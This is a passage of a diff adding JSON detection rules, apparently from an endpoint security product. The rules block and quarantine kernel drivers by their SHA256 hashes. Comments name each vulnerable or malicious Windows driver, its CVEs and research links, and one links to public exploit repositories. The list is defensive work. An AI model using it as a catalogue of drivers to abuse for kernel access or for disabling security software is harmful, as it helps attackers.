+  "comment": "MICRO-STAR vulnerable drivers (aka NBIOLib_X64.sys, NTIOLib_X64.sys, NTIOLib.sys and NBIOLib.sys) [CVE-2021-44899] [http://blog.rewolf.pl/blog/?p=1630] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "1eadbae6-1e01-5f4f-b9d7-fcdfbbb84d8c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.160012Z",
+  "creation_date": "2026-03-23T11:45:31.160014Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.160020Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "e2f12442e3b9d2ba640de7f353f6567d960a9fb5a17cc3c9be886541aefc94ef",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "1eaeed44-9666-5c7d-81d2-dfe85b641634",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.617254Z",
+  "creation_date": "2026-03-23T11:45:29.617256Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.617262Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "7188af66fe23bd8cf27f003ad6c7550cdb6faa5c948fe7c3b1435c9246345eb3",
+  "comment": "Noriyuki MIYAZAKI's WinRing0 dangerous driver (aka WinRing0x64.sys) [CVE-2020-14979] [https://www.loldrivers.io/drivers/f0fd5bc6-9ebd-4eb0-93ce-9256a5b9abf9/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "1eb38bbc-69c3-522a-b5e8-9df7c0dce3de",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.480295Z",
+  "creation_date": "2026-03-23T11:45:30.480298Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.480306Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "8a228c751d1664b362f10dc7083c223995b976b264da8b7380c51157bed66fbe",
+  "comment": "Vulnerable Kernel Driver (aka GEDevDrvSYS.sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "1eca7b23-9882-5ff0-8682-ec354a9c847c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.455024Z",
+  "creation_date": "2026-03-23T11:45:30.455027Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.455036Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "16e68d2fa75a4e04872be42e2b54c041e43ab3409096741690520417e3368aa6",
+  "comment": "Vulnerable Kernel Driver (aka Netfilter.sys) [https://www.loldrivers.io/drivers/9454a752-233e-4ba2-b585-8da242bf8f31/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "1ecd3c0e-37e8-57c6-8871-dfe65076f60b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.621037Z",
+  "creation_date": "2026-03-23T11:45:29.621039Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.621044Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "04a85e359525d662338cae86c1e59b1d7aa9bd12b920e8067503723dc1e03162",
+  "comment": "Fujitsu Vulnerable Physmem drivers (aka ADV64DRV.sys) [https://www.loldrivers.io/drivers/24fb7bab-b8c3-46ea-a370-c84d2f0ff614/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "1ecfe291-ad0b-5c2e-b4be-0d17c8790897",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.978265Z",
+  "creation_date": "2026-03-23T11:45:29.978267Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.978273Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "25d16b2b53fc7b52a65616ab7fc04a503946c20fe96556681bfaddd589401f4a",
+  "comment": "Malicious Kernel Driver (aka wantd_2.sys) [https://www.loldrivers.io/drivers/aa687f89-4f3b-4b59-b64e-fee5e2ae2310/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "1ed2c5cc-a617-59dc-b243-81501b587c74",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.835115Z",
+  "creation_date": "2026-03-23T11:45:30.835118Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.835128Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "818c8775305dd8ba8e7f0d1288e2e55263cbc6a43537afcfa396c0bf78bc85c0",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "1ed4b142-a4df-5648-891b-e9a6e5c64201",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.622742Z",
+  "creation_date": "2026-03-23T11:45:29.622744Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.622749Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "ad44cfd9c6262a6ff36ee9d03e59ba4b0524ef87f6b980ce15abb10a35d39f88",
+  "comment": "PassMark vulnerable driver (aka DirectIo32.sys and DirectIo64.sys) [CVE-2020-15479] [https://github.com/eset/vulnerability-disclosures/blob/master/CVE-2020-15479/CVE-2020-15479.md] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "1eddd2cd-75b0-58f6-bfac-dbfc0ef0c3cc",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.488517Z",
+  "creation_date": "2026-03-23T11:45:31.488519Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.488525Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "1e080f8de089ab20471c9997c9eae8137e961929baa8393aa10adbf3fefbd69d",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "1edec569-c21c-5d5d-8051-5022133d0284",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.153754Z",
+  "creation_date": "2026-03-23T11:45:31.153756Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.153762Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "a350230410e13cd62cc24a04d5a878ad99e7af0e9698a3f8a8c0eb291341cd24",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "1ee17096-ce07-557c-bed2-c993e277561c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.817268Z",
+  "creation_date": "2026-03-23T11:45:31.817270Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.817276Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "56e4738d3e3d0df82ac63ee95648db53e462d6916c55a2d49208703c3ded46a6",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "1ee3b266-a016-598d-8420-90c953a3227d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.827694Z",
+  "creation_date": "2026-03-23T11:45:31.827696Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.827702Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "e8c22851b9c42ca5429e4f7d5afcf3757a16c4bae072eba3f2888b9c20ed15ea",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "1ef0ffec-0ce7-59a5-9436-cc86d31e0d4d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.975272Z",
+  "creation_date": "2026-03-23T11:45:29.975274Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.975280Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "bb82d8c29127955d58dff58978605a9daa718425c74c4bce5ae3e53712909148",
+  "comment": "Vulnerable AMD Ryzen Master Driver (aka AMDRyzenMasterDriver.sys) [CVE-2020-12928, CVE-2023-20564] [https://www.loldrivers.io/drivers/13973a71-412f-4a18-a2a6-476d3853f8de/, https://github.com/tijme/amd-ryzen-master-driver-v17-exploit, https://github.com/zeze-zeze/HITCON-2023-Demo-CVE-2023-20562] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "1f01b7be-3ceb-5c2f-9b00-f6696ec38a2d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.984264Z",
+  "creation_date": "2026-03-23T11:45:29.984267Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.984275Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "dd573f23d656818036fc9ae1064eda31aca86acb9bc44a6e127db3ea112a9094",
+  "comment": "Vulnerable Kernel Driver (aka irec.sys) [https://www.loldrivers.io/drivers/d74fdf19-b4b0-4ec2-9c29-4213b064138b/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "1f0b737a-add9-5f72-b4ba-ff015081f5f6",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.969664Z",
+  "creation_date": "2026-03-23T11:45:29.969666Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.969672Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "b84b27e0fd011545f447c8c630beeadc2581b7b43fba3b53575f6e2fb92d197b",
+  "comment": "Avast Vulnerable Driver (aka aswArPot.sys) [CVE-2022-26522, CVE-2022-26523] [https://www.mandiant.com/resources/blog/unc2596-cuba-ransomware] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "1f147bec-6bfa-5cfe-9c67-031eef9861ff",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.483308Z",
+  "creation_date": "2026-03-23T11:45:31.483312Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.483322Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "ed31d19a9ee7cb12f99c5b706e265bb6b10eec85c5b89126a23f2f856a28fe79",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "1f2188da-a9b2-5723-b9cb-b01c180f045f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.608613Z",
+  "creation_date": "2026-03-23T11:45:29.608615Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.608621Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "147ea2957c15a5c92c6b7f8f2811e29e9f2c4df1efdbd69b79eeab40652861ef",
+  "comment": "VirtualBox VBoxDrv vulnerable driver (aka VBoxDrv.sys) [CVE-2008-3431] [https://www.loldrivers.io/drivers/79542852-3a0c-43bc-bfa3-3eeb0e1d7fd2/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "1f328423-3149-5010-b783-994b9e38cd6d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.972003Z",
+  "creation_date": "2026-03-23T11:45:29.972005Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.972010Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "57a389da784269bb2cc0a258500f6dfbf4f6269276e1192619ce439ec77f4572",
+  "comment": "Intel Ethernet diagnostics vulnerable driver (aka iQVW64.sys) [CVE-2015-2291] [https://www.loldrivers.io/drivers/1d2cdef1-de44-4849-80e5-e2fa288df681/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "1f352714-0552-5037-a478-bfee437d06e8",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.822228Z",
+  "creation_date": "2026-03-23T11:45:30.822230Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.822235Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "df813922fcebbcaae99314cc207ec95111a6599ec7fb2d723f6bb1052c493c8a",
+  "comment": "Vulnerable Kernel Driver (aka ComputerZ.Sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "1f6379eb-d8a8-5c08-aa62-a15422c01fba",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.621427Z",
+  "creation_date": "2026-03-23T11:45:29.621428Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.621434Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "2d195cd4400754cc6f6c3f8ab1fe31627932c3c1bf8d5d0507c292232d1a2396",
+  "comment": "ASUSTeK GPU vulnerable physmem driver (aka AsIO2_64.sys) [https://syscall.eu/blog/2020/03/30/asus_gio/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "1f7952d7-ff01-5897-a9a4-54c891177916",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.479111Z",
+  "creation_date": "2026-03-23T11:45:31.479115Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.479124Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "5001b9e561ca074ea92eeee37e1cbd08b11caacece4af05050875aee4872d3e4",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "1f7eb42e-e99a-5983-8a2e-d6a1c83842a6",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.832660Z",
+  "creation_date": "2026-03-23T11:45:30.832662Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.832667Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "8efda1292eff521b42d38ffc75e5ecfa4fa255658fb768adf53d111ed25da6cf",
